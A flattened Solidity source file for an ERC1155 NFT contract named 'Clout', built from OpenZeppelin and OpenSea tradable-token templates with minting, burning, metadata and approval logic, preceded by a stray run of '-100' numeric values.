-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: multi-token-standard/contracts/interfaces/IERC165.sol pragma solidity ^0.5.12; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface IERC165 { /** * @notice Query if a contract implements an interface * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas * @param _interfaceId The interface identifier, as specified in ERC-165 */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // File: multi-token-standard/contracts/utils/SafeMath.sol pragma solidity ^0.5.12; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath#mul: OVERFLOW"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath#div: DIVISION_BY_ZERO"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath#sub: UNDERFLOW"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath#add: OVERFLOW"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO"); return a % b; } } // File: multi-token-standard/contracts/interfaces/IERC1155TokenReceiver.sol pragma solidity ^0.5.12; /** * @dev ERC-1155 interface for accepting safe transfers. */ interface IERC1155TokenReceiver { /** * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4); /** * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4); /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) external view returns (bool); } // File: multi-token-standard/contracts/interfaces/IERC1155.sol pragma solidity ^0.5.12; interface IERC1155 { // Events /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); /** * @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning * Operator MUST be msg.sender * When minting/creating tokens, the `_from` field MUST be set to `0x0` * When burning/destroying tokens, the `_to` field MUST be set to `0x0` * The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID * To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0 */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); /** * @dev MUST emit when an approval is updated */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** * @dev MUST emit when the URI is updated for a token ID * URIs are defined in RFC 3986 * The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema" */ event URI(string _amount, uint256 indexed _id); /** * @notice Transfers amount of an _id from the _from address to the _to address specified * @dev MUST emit TransferSingle event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if balance of sender for token `_id` is lower than the `_amount` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external; /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @dev MUST emit TransferBatch event on success * Caller must be approved to manage the _from account's tokens (see isApprovedForAll) * MUST throw if `_to` is the zero address * MUST throw if length of `_ids` is not the same as length of `_amounts` * MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent * MUST throw on any other error * When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external; /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @dev MUST emit the ApprovalForAll event on success * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator); } // File: multi-token-standard/contracts/utils/Address.sol /** * Copyright 2018 ZeroEx Intl. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.5.12; /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } // File: multi-token-standard/contracts/tokens/ERC1155/ERC1155.sol pragma solidity ^0.5.12; /** * @dev Implementation of Multi-Token Standard contract */ contract ERC1155 is IERC165 { using SafeMath for uint256; using Address for address; /***********************************| | Variables and Events | |__________________________________*/ // onReceive function signatures bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61; bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81; // Objects balances mapping (address => mapping(uint256 => uint256)) internal balances; // Operator Functions mapping (address => mapping(address => bool)) internal operators; // Events event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount); event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); event URI(string _uri, uint256 indexed _id); /***********************************| | Public Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) public { require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR"); require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT"); // require(_amount >= balances[_from][_id]) is not necessary since checked with safemath operations _safeTransferFrom(_from, _to, _id, _amount); _callonERC1155Received(_from, _to, _id, _amount, _data); } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type * @param _data Additional data with no specified format, sent in call to `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) public { // Requirements require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR"); require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT"); _safeBatchTransferFrom(_from, _to, _ids, _amounts); _callonERC1155BatchReceived(_from, _to, _ids, _amounts, _data); } /***********************************| | Internal Transfer Functions | |__________________________________*/ /** * @notice Transfers amount amount of an _id from the _from address to the _to address specified * @param _from Source address * @param _to Target address * @param _id ID of the token type * @param _amount Transfered amount */ function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount) internal { // Update balances balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount // Emit event emit TransferSingle(msg.sender, _from, _to, _id, _amount); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...) */ function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Check if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received(msg.sender, _from, _id, _amount, _data); require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE"); } } /** * @notice Send multiple types of Tokens from the _from address to the _to address (with safety call) * @param _from Source addresses * @param _to Target addresses * @param _ids IDs of each token type * @param _amounts Transfer amounts per token type */ function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH"); // Number of transfer to execute uint256 nTransfer = _ids.length; // Executing all transfers for (uint256 i = 0; i < nTransfer; i++) { // Update storage balance of previous bin balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit event emit TransferBatch(msg.sender, _from, _to, _ids, _amounts); } /** * @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...) */ function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { // Pass data if recipient is contract if (_to.isContract()) { bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived(msg.sender, _from, _ids, _amounts, _data); require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE"); } } /***********************************| | Operator Functions | |__________________________________*/ /** * @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens * @param _operator Address to add to the set of authorized operators * @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external { // Update operator status operators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @notice Queries the approval status of an operator for a given owner * @param _owner The owner of the Tokens * @param _operator Address of authorized operator * @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) { return operators[_owner][_operator]; } /***********************************| | Balance Functions | |__________________________________*/ /** * @notice Get the balance of an account's Tokens * @param _owner The address of the token holder * @param _id ID of the Token * @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) public view returns (uint256) { return balances[_owner][_id]; } /** * @notice Get the balance of multiple account/token pairs * @param _owners The addresses of the token holders * @param _ids ID of the Tokens * @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] memory _owners, uint256[] memory _ids) public view returns (uint256[] memory) { require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH"); // Variables uint256[] memory batchBalances = new uint256[](_owners.length); // Iterate over each owner and token ID for (uint256 i = 0; i < _owners.length; i++) { batchBalances[i] = balances[_owners[i]][_ids[i]]; } return batchBalances; } /***********************************| | ERC165 Functions | |__________________________________*/ /** * INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; /** * INTERFACE_SIGNATURE_ERC1155 = * bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^ * bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^ * bytes4(keccak256("balanceOf(address,uint256)")) ^ * bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^ * bytes4(keccak256("setApprovalForAll(address,bool)")) ^ * bytes4(keccak256("isApprovedForAll(address,address)")); */ bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; /** * @notice Query if a contract implements an interface * @param _interfaceID The interface identifier, as specified in ERC-165 * @return `true` if the contract implements `_interfaceID` and */ function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } // File: multi-token-standard/contracts/tokens/ERC1155/ERC1155Metadata.sol pragma solidity ^0.5.11; /** * @notice Contract that handles metadata related methods. * @dev Methods assume a deterministic generation of URI based on token IDs. * Methods also assume that URI uses hex representation of token IDs. */ contract ERC1155Metadata { // URI's default URI prefix string internal baseMetadataURI; event URI(string _uri, uint256 indexed _id); /***********************************| | Metadata Public Function s | |__________________________________*/ /** * @notice A distinct Uniform Resource Identifier (URI) for a given token. * @dev URIs are defined in RFC 3986. * URIs are assumed to be deterministically generated based on token ID * Token IDs are assumed to be represented in their hex format in URIs * @return URI string */ function uri(uint256 _id) public view returns (string memory) { return string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json")); } /***********************************| | Metadata Internal Functions | |__________________________________*/ /** * @notice Will emit default URI log event for corresponding token _id * @param _tokenIDs Array of IDs of tokens to log default URI */ function _logURIs(uint256[] memory _tokenIDs) internal { string memory baseURL = baseMetadataURI; string memory tokenURI; for (uint256 i = 0; i < _tokenIDs.length; i++) { tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), ".json")); emit URI(tokenURI, _tokenIDs[i]); } } /** * @notice Will emit a specific URI log event for corresponding token * @param _tokenIDs IDs of the token corresponding to the _uris logged * @param _URIs The URIs of the specified _tokenIDs */ function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal { require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH"); for (uint256 i = 0; i < _tokenIDs.length; i++) { emit URI(_URIs[i], _tokenIDs[i]); } } /** * @notice Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal { baseMetadataURI = _newBaseMetadataURI; } /***********************************| | Utility Internal Functions | |__________________________________*/ /** * @notice Convert uint256 to string * @param _i Unsigned integer to convert to string */ function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 ii = _i; uint256 len; // Get number of bytes while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; // Get each individual ASCII while (ii != 0) { bstr[k--] = byte(uint8(48 + ii % 10)); ii /= 10; } // Convert to string return string(bstr); } } // File: multi-token-standard/contracts/tokens/ERC1155/ERC1155MintBurn.sol pragma solidity ^0.5.12; /** * @dev Multi-Fungible Tokens with minting and burning methods. These methods assume * a parent contract to be executed as they are `internal` functions */ contract ERC1155MintBurn is ERC1155 { /****************************************| | Minting Functions | |_______________________________________*/ /** * @notice Mint _amount of tokens of a given id * @param _to The address to mint tokens to * @param _id Token id to mint * @param _amount The amount to be minted * @param _data Data to pass if receiver is contract */ function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data) internal { // Add _amount balances[_to][_id] = balances[_to][_id].add(_amount); // Emit event emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount); // Calling onReceive method if recipient is contract _callonERC1155Received(address(0x0), _to, _id, _amount, _data); } /** * @notice Mint tokens for each ids in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _amounts Array of amount of tokens to mint per id * @param _data Data to pass if receiver is contract */ function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nMint = _ids.length; // Executing all minting for (uint256 i = 0; i < nMint; i++) { // Update storage balance balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts); // Calling onReceive method if recipient is contract _callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data); } /****************************************| | Burning Functions | |_______________________________________*/ /** * @notice Burn _amount of tokens of a given token id * @param _from The address to burn tokens from * @param _id Token id to burn * @param _amount The amount to be burned */ function _burn(address _from, uint256 _id, uint256 _amount) internal { //Substract _amount balances[_from][_id] = balances[_from][_id].sub(_amount); // Emit event emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount); } /** * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair * @param _from The address to burn tokens from * @param _ids Array of token ids to burn * @param _amounts Array of the amount to be burned */ function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts) internal { require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH"); // Number of mints to execute uint256 nBurn = _ids.length; // Executing all minting for (uint256 i = 0; i < nBurn; i++) { // Update storage balance balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]); } // Emit batch mint event emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts); } } // File: contracts/Strings.sol pragma solidity ^0.5.11; library Strings { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } } // File: contracts/ERC1155Tradable.sol pragma solidity ^0.5.12; contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC1155Tradable * ERC1155Tradable - ERC1155 contract that whitelists an operator address, has create and mint functionality, and supports useful standards from OpenZeppelin, like _exists(), name(), symbol(), and totalSupply() */ contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable { using Strings for string; address proxyRegistryAddress; uint256 private _currentTokenID = 0; mapping (uint256 => address) public creators; mapping (uint256 => uint256) public tokenSupply; // Contract name string public name; // Contract symbol string public symbol; /** * @dev Require msg.sender to be the creator of the token id */ modifier creatorOnly(uint256 _id) { require(creators[_id] == msg.sender, "ERC1155Tradable#creatorOnly: ONLY_CREATOR_ALLOWED"); _; } /** * @dev Require msg.sender to own more than 0 of the token id */ modifier ownersOnly(uint256 _id) { require(balances[msg.sender][_id] > 0, "ERC1155Tradable#ownersOnly: ONLY_OWNERS_ALLOWED"); _; } constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) public { name = _name; symbol = _symbol; proxyRegistryAddress = _proxyRegistryAddress; } function uri( uint256 _id ) public view returns (string memory) { require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN"); return Strings.strConcat( baseMetadataURI, Strings.uint2str(_id) ); } /** * @dev Returns the total quantity for a token ID * @param _id uint256 ID of the token to query * @return amount of token in existence */ function totalSupply( uint256 _id ) public view returns (uint256) { return tokenSupply[_id]; } /** * @dev Will update the base URL of token's URI * @param _newBaseMetadataURI New base URL of token's URI */ function setBaseMetadataURI( string memory _newBaseMetadataURI ) public onlyOwner { _setBaseMetadataURI(_newBaseMetadataURI); } /** * @dev Creates a new token type and assigns _initialSupply to an address * NOTE: remove onlyOwner if you want third parties to create new tokens on your contract (which may change your IDs) * @param _initialOwner address of the first owner of the token * @param _initialSupply amount to supply the first owner * @param _uri Optional URI for this token type * @param _data Data to pass if receiver is contract * @return The newly created token ID */ function create( address _initialOwner, uint256 _initialSupply, string calldata _uri, bytes calldata _data ) external onlyOwner returns (uint256) { uint256 _id = _getNextTokenID(); _incrementTokenTypeId(); creators[_id] = msg.sender; if (bytes(_uri).length > 0) { emit URI(_uri, _id); } _mint(_initialOwner, _id, _initialSupply, _data); tokenSupply[_id] = _initialSupply; return _id; } /** * @dev Mints some amount of tokens to an address * @param _to Address of the future owner of the token * @param _id Token ID to mint * @param _quantity Amount of tokens to mint * @param _data Data to pass if receiver is contract */ function mint( address _to, uint256 _id, uint256 _quantity, bytes memory _data ) public creatorOnly(_id) { _mint(_to, _id, _quantity, _data); tokenSupply[_id] = tokenSupply[_id].add(_quantity); } /** * @dev Mint tokens for each id in _ids * @param _to The address to mint tokens to * @param _ids Array of ids to mint * @param _quantities Array of amounts of tokens to mint per id * @param _data Data to pass if receiver is contract */ function batchMint( address _to, uint256[] memory _ids, uint256[] memory _quantities, bytes memory _data ) public { for (uint256 i = 0; i < _ids.length; i++) { uint256 _id = _ids[i]; require(creators[_id] == msg.sender, "ERC1155Tradable#batchMint: ONLY_CREATOR_ALLOWED"); uint256 quantity = _quantities[i]; tokenSupply[_id] = tokenSupply[_id].add(quantity); } _batchMint(_to, _ids, _quantities, _data); } /** * @dev Change the creator address for given tokens * @param _to Address of the new creator * @param _ids Array of Token IDs to change creator */ function setCreator( address _to, uint256[] memory _ids ) public { require(_to != address(0), "ERC1155Tradable#setCreator: INVALID_ADDRESS."); for (uint256 i = 0; i < _ids.length; i++) { uint256 id = _ids[i]; _setCreator(_to, id); } } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings. */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool isOperator) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(_owner)) == _operator) { return true; } return ERC1155.isApprovedForAll(_owner, _operator); } /** * @dev Change the creator address for given token * @param _to Address of the new creator * @param _id Token IDs to change creator of */ function _setCreator(address _to, uint256 _id) internal creatorOnly(_id) { creators[_id] = _to; } /** * @dev Returns whether the specified token exists by checking to see if it has a creator * @param _id uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists( uint256 _id ) internal view returns (bool) { return creators[_id] != address(0); } /** * @dev calculates the next token ID based on value of _currentTokenID * @return uint256 for the next token ID */ function _getNextTokenID() private view returns (uint256) { return _currentTokenID.add(1); } /** * @dev increments the value of _currentTokenID */ function _incrementTokenTypeId() private { _currentTokenID++; } } // File: contracts/CloutNFTContract.sol pragma solidity ^0.5.11; /** * @title CloutNFTContract */ contract CloutNFTContract is ERC1155Tradable { constructor(address _proxyRegistryAddress) ERC1155Tradable( "Clout", "CLOUT", _proxyRegistryAddress ) public { _setBaseMetadataURI("https://api.clout.com/creatures/"); } function contractURI() public view returns (string memory) { return "https://api.clout.com/contract/erc1155/cloutnftcontract"; } }
